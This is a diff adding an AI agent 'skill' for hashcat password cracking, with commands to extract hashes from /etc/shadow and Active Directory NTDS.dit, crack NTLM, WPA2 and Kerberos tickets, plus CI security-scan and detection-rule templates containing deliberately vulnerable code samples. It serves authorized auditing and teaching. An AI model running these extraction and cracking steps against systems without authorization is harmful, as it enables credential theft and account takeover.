a/skills/offsec/crack-hashcat/SKILL.md b/skills/offsec/crack-hashcat/SKILL.md new file mode 100644 index 0000000..5e25850 --- /dev/null +++ b/skills/offsec/crack-hashcat/SKILL.md @@ -0,0 +1,509 @@ +--- +name: crack-hashcat +description: > + Advanced password recovery and hash cracking tool supporting multiple algorithms and attack modes. + Use when: (1) Performing authorized password auditing and security assessments, (2) Recovering + passwords from captured hashes in forensic investigations, (3) Testing password policy strength + and complexity, (4) Validating encryption implementations, (5) Conducting security research on + cryptographic hash functions, (6) Demonstrating password weakness in penetration testing reports. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [password-cracking, hashcat, forensics, password-audit, cryptography] +frameworks: [MITRE-ATT&CK, NIST] +dependencies: + packages: [hashcat] + tools: [opencl, cuda] +references: + - https://hashcat.net/wiki/ + - https://hashcat.net/hashcat/ + - https://attack.mitre.org/techniques/T1110/ +--- + +# Hashcat Password Recovery + +## Overview + +Hashcat is the world's fastest password recovery tool, supporting over 300 hash algorithms and multiple attack modes. This skill covers authorized password auditing, forensic password recovery, and security research applications. + +**IMPORTANT**: Password cracking must only be performed on hashes you are authorized to crack. Unauthorized password cracking is illegal. Always ensure proper authorization and legal compliance. + +## Quick Start + +Basic password cracking: + +```bash +# Identify hash type +hashcat --example-hashes | grep -i md5 + +# Dictionary attack on MD5 hash +hashcat -m 0 -a 0 hashes.txt wordlist.txt + +# Show cracked passwords +hashcat -m 0 hashes.txt --show + +# Benchmark system performance +hashcat -b +``` + +## Core Workflow + +### Password Cracking Workflow + +Progress: +[ ] 1. Verify authorization for password cracking +[ ] 2. Identify hash algorithm type +[ ] 3. Prepare hash file and wordlists +[ ] 4. Select appropriate attack mode +[ ] 5. Execute cracking operation +[ ] 6. Analyze cracked passwords +[ ] 7. Document password policy weaknesses +[ ] 8. Securely delete hash files and results + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any password cracking: +- Confirm written authorization from data owner +- Verify legal right to crack captured hashes +- Understand data handling and retention requirements +- Document chain of custody for forensic cases +- Ensure secure storage of cracked passwords + +### 2. Hash Identification + +Identify hash algorithm: + +```bash +# Show all supported hash types +hashcat --example-hashes + +# Common hash types +hashcat --example-hashes | grep -i "MD5" +hashcat --example-hashes | grep -i "SHA" +hashcat --example-hashes | grep -i "NTLM" + +# Use hash-identifier (separate tool) +hash-identifier +# Paste hash when prompted + +# Hashcat mode numbers (common) +# 0 = MD5 +# 100 = SHA1 +# 1000 = NTLM +# 1400 = SHA256 +# 1800 = sha512crypt +# 3200 = bcrypt +# 5600 = NetNTLMv2 +# 13100 = Kerberos 5 TGS-REP +``` + +### 3. Hash File Preparation + +Prepare hash files: + +```bash +# Simple hash file (one hash per line) +echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt + +# Hash with username (username:hash format) +cat > hashes.txt < hashes.txt + +# From /etc/shadow (Linux) +sudo cat /etc/shadow | grep -v "^#" | grep -v ":\*:" | grep -v ":!:" > shadow_hashes.txt + +# From NTDS.dit (Active Directory) +secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL > ad_hashes.txt +``` + +### 4. Attack Modes + +Choose appropriate attack mode: + +**Dictionary Attack (Mode 0)**: +```bash +# Basic dictionary attack +hashcat -m 0 -a 0 hashes.txt rockyou.txt + +# Multiple wordlists +hashcat -m 0 -a 0 hashes.txt wordlist1.txt wordlist2.txt + +# With rules +hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule +``` + +**Combinator Attack (Mode 1)**: +```bash +# Combine words from two wordlists +hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt +``` + +**Brute-Force Attack (Mode 3)**: +```bash +# All lowercase letters, 8 characters +hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l + +# Mixed case and numbers, 6 characters +hashcat -m 0 -a 3 hashes.txt ?1?1?1?1?1?1 -1 ?l?u?d + +# Custom charset +hashcat -m 0 -a 3 hashes.txt ?1?1?1?1?1?1?1?1 -1 abc123 +``` + +**Mask Attack (Mode 3 with patterns)**: +```bash +# Password format: Uppercase + 6 lowercase + 2 digits +hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?l?l?d?d + +# Year pattern: word + 4 digits (2019-2024) +hashcat -m 0 -a 3 hashes.txt password?d?d?d?d + +# Common patterns +hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?l?d?d?s # Capital + word + numbers + special +``` + +**Hybrid Attacks (Modes 6 & 7)**: +```bash +# Wordlist + mask (append) +hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d + +# Mask + wordlist (prepend) +hashcat -m 0 -a 7 hashes.txt ?d?d?d?d wordlist.txt +``` + +**Character Sets**: +- `?l` = lowercase (abcdefghijklmnopqrstuvwxyz) +- `?u` = uppercase (ABCDEFGHIJKLMNOPQRSTUVWXYZ) +- `?d` = digits (0123456789) +- `?s` = special characters (!@#$%^&*...) +- `?a` = all characters (l+u+d+s) +- `?b` = all printable ASCII + +### 5. Performance Optimization + +Optimize cracking performance: + +```bash +# Use GPU acceleration +hashcat -m 0 -a 0 hashes.txt wordlist.txt -w 3 + +# Workload profiles +# -w 1 = Low (desktop usable) +# -w 2 = Default +# -w 3 = High (dedicated cracking) +# -w 4 = Nightmare (max performance) + +# Specify GPU device +hashcat -m 0 -a 0 hashes.txt wordlist.txt -d 1 + +# Show performance benchmark +hashcat -b + +# Optimize kernel +hashcat -m 0 -a 0 hashes.txt wordlist.txt -O + +# Show estimated time +hashcat -m 0 -a 0 hashes.txt wordlist.txt --runtime=3600 +``` + +### 6. Rules and Mutations + +Apply password mutation rules: + +```bash +# Use rule file +hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule + +# Multiple rule files +hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule -r rules/leetspeak.rule + +# Common Hashcat rules +# best64.rule - Best 64 rules for speed/coverage +# dive.rule - Deep mutations +# toggles1.rule - Case toggles +# generated2.rule - Complex mutations + +# Custom rule examples +# : = do nothing +# l = lowercase all +# u = uppercase all +# c = capitalize first, lowercase rest +# $1 = append "1" +# ^2 = prepend "2" +# sa@ = replace 'a' with '@' +``` + +### 7. Session Management + +Manage cracking sessions: + +```bash +# Save session +hashcat -m 0 -a 0 hashes.txt wordlist.txt --session=mysession + +# Restore session +hashcat --session=mysession --restore + +# Show status +hashcat --session=mysession --status + +# Remove session +hashcat --session=mysession --remove + +# Auto-checkpoint every 60 seconds +hashcat -m 0 -a 0 hashes.txt wordlist.txt --session=mysession --restore-file-path=/path/to/checkpoint +``` + +### 8. Results and Reporting + +View and export results: + +```bash +# Show cracked passwords +hashcat -m 0 hashes.txt --show + +# Show only usernames and passwords +hashcat -m 0 hashes.txt --show --username + +# Export to file +hashcat -m 0 hashes.txt --show > cracked.txt + +# Show cracking statistics +hashcat -m 0 hashes.txt --show --status + +# Left side (uncracked hashes) +hashcat -m 0 hashes.txt --left +``` + +## Security Considerations + +### Authorization & Legal Compliance + +- **Explicit Authorization**: Written permission required for all password cracking +- **Forensic Chain of Custody**: Maintain evidence integrity +- **Data Protection**: Securely handle cracked passwords +- **Scope Limitation**: Only crack specifically authorized hashes +- **Legal Jurisdiction**: Understand applicable laws (CFAA, GDPR, etc.) + +### Operational Security + +- **Secure Storage**: Encrypt hash files and results +- **Offline Cracking**: Perform on air-gapped systems when possible +- **Resource Management**: Monitor system resources during cracking +- **Temperature**: Ensure adequate cooling for extended GPU usage +- **Power**: Use surge protection for hardware safety + +### Audit Logging + +Document all password cracking activities: +- Hash source and acquisition method +- Authorization documentation +- Hash algorithm and attack mode used +- Cracking start and end timestamps +- Success rate and crack time +- Wordlists and rules applied +- Password complexity analysis +- Secure deletion of artifacts + +### Compliance + +- **MITRE ATT&CK**: T1110 (Brute Force) + - T1110.002 (Password Cracking) +- **NIST SP 800-63B**: Digital Identity Guidelines for passwords +- **PCI-DSS**: Password security requirements +- **ISO 27001**: A.9.4 Secret authentication information management + +## Common Patterns + +### Pattern 1: Windows Domain Password Audit + +```bash +# Extract NTLM hashes from NTDS.dit +secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > ad_hashes.txt + +# Crack NTLM hashes +hashcat -m 1000 -a 0 ad_hashes.txt rockyou.txt -r rules/best64.rule + +# Show cracked Domain Admin accounts +hashcat -m 1000 ad_hashes.txt --show | grep -i "domain admins" +``` + +### Pattern 2: Linux Password Audit + +```bash +# Extract hashes from /etc/shadow +sudo unshadow /etc/passwd /etc/shadow > linux_hashes.txt + +# Crack SHA-512 crypt hashes +hashcat -m 1800 -a 0 linux_hashes.txt rockyou.txt + +# Analyze password complexity +hashcat -m 1800 linux_hashes.txt --show | awk -F: '{print length($2), $2}' +``` + +### Pattern 3: Wi-Fi WPA2 Cracking + +```bash +# Convert pcap to hashcat format (using cap2hccapx) +cap2hccapx capture.cap wpa.hccapx + +# Crack WPA2 handshake +hashcat -m 22000 -a 0 wpa.hccapx rockyou.txt + +# With mask attack for numeric passwords +hashcat -m 22000 -a 3 wpa.hccapx ?d?d?d?d?d?d?d?d +``` + +### Pattern 4: Web Application Hash Cracking + +```bash +# Crack MD5 hashes (web app database dump) +hashcat -m 0 -a 0 webapp_hashes.txt rockyou.txt -r rules/best64.rule + +# Crack bcrypt hashes (slow but secure) +hashcat -m 3200 -a 0 bcrypt_hashes.txt wordlist.txt -w 3 + +# SHA256 with salt +hashcat -m 1400 -a 0 salted_hashes.txt wordlist.txt +``` + +### Pattern 5: Kerberos TGT Cracking (Kerberoasting) + +```bash +# Crack Kerberos 5 TGS-REP +hashcat -m 13100 -a 0 kerberos_tickets.txt rockyou.txt -r rules/best64.rule + +# Focus on service accounts +hashcat -m 13100 -a 0 kerberos_tickets.txt wordlist.txt --username +``` + +## Integration Points + +### Password Policy Analysis + +```bash +#!/bin/bash +# analyze_passwords.sh - Password policy compliance check + +CRACKED_FILE="$1" + +echo "Password Length Distribution:" +awk -F: '{print length($2)}' "$CRACKED_FILE" | sort -n | uniq -c + +echo -e "\nPasswords with Dictionary Words:" +grep -f /usr/share/dict/words "$CRACKED_FILE" | wc -l + +echo -e "\nPasswords without Special Characters:" +grep -v "[!@#$%^&*]" "$CRACKED_FILE" | wc -l + +echo -e "\nCommon Password Patterns:" +grep -E "^password|123456|qwerty" "$CRACKED_FILE" | wc -l +``` + +### Reporting + +```bash +# Generate password audit report +cat > audit_report.sh <<'EOF' +#!/bin/bash +TOTAL=$(wc -l < hashes.txt) +CRACKED=$(hashcat -m 1000 hashes.txt --show | wc -l) +PERCENT=$((CRACKED * 100 / TOTAL)) + +echo "Password Audit Report" +echo "====================" +echo "Total Hashes: $TOTAL" +echo "Cracked: $CRACKED" +echo "Success Rate: $PERCENT%" +echo "" +echo "Recommendations:" +echo "- Implement minimum password length of 12 characters" +echo "- Require complex passwords (upper, lower, digit, special)" +echo "- Enable multi-factor authentication" +echo "- Implement password history and rotation" +EOF +chmod +x audit_report.sh +``` + +## Troubleshooting + +### Issue: Slow Cracking Speed + +**Solutions**: +```bash +# Use optimized kernel +hashcat -m 0 -a 0 hashes.txt wordlist.txt -O + +# Increase workload +hashcat -m 0 -a 0 hashes.txt wordlist.txt -w 3 + +# Check GPU utilization +hashcat -m 0 -a 0 hashes.txt wordlist.txt --status + +# Verify GPU drivers +nvidia-smi # For NVIDIA +rocm-smi # For AMD +``` + +### Issue: Out of Memory + +**Solutions**: +```bash +# Reduce wordlist size +head -n 1000000 large_wordlist.txt > smaller_wordlist.txt + +# Disable optimizations +hashcat -m 0 -a 0 hashes.txt wordlist.txt (remove -O flag) + +# Split hash file +split -l 1000 hashes.txt hash_chunk_ +``` + +### Issue: Hash Format Errors + +**Solutions**: +- Verify hash mode (-m) matches hash type +- Check hash file format (remove extra spaces, newlines) +- Ensure proper salt format for salted hashes +- Use --username flag if hashes include usernames + +## Defensive Considerations + +Protect against password cracking: + +**Strong Password Policies**: +- Minimum length: 12+ characters +- Complexity requirements (mixed case, numbers, special) +- Prohibit common passwords +- Implement password history +- Regular password rotation for privileged accounts + +**Technical Controls**: +- Use strong hashing algorithms (bcrypt, scrypt, Argon2) +- Implement salting and key stretching +- Use adaptive hash functions +- Enable multi-factor authentication +- Implement account lockout policies +- Monitor for brute-force attempts + +**Hash Storage Best Practices**: +- Never store plaintext passwords +- Use strong, modern hashing algorithms +- Implement per-password unique salts +- Use appropriate iteration counts (bcrypt cost, PBKDF2 rounds) +- Regularly update hashing parameters + +## References + +- [Hashcat Official Wiki](https://hashcat.net/wiki/) +- [Hashcat Documentation](https://hashcat.net/hashcat/) +- [MITRE ATT&CK: Brute Force](https://attack.mitre.org/techniques/T1110/) +- [NIST SP 800-63B: Digital Identity Guidelines](https://pages.nist.gov/800-63-3/sp800-63b.html) +- [OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) diff --git a/skills/offsec/crack-hashcat/assets/.gitkeep b/skills/offsec/crack-hashcat/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/crack-hashcat/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/crack-hashcat/assets/ci-config-template.yml b/skills/offsec/crack-hashcat/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/crack-hashcat/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/crack-hashcat/assets/rule-template.yaml b/skills/offsec/crack-hashcat/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/crack-hashcat/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE 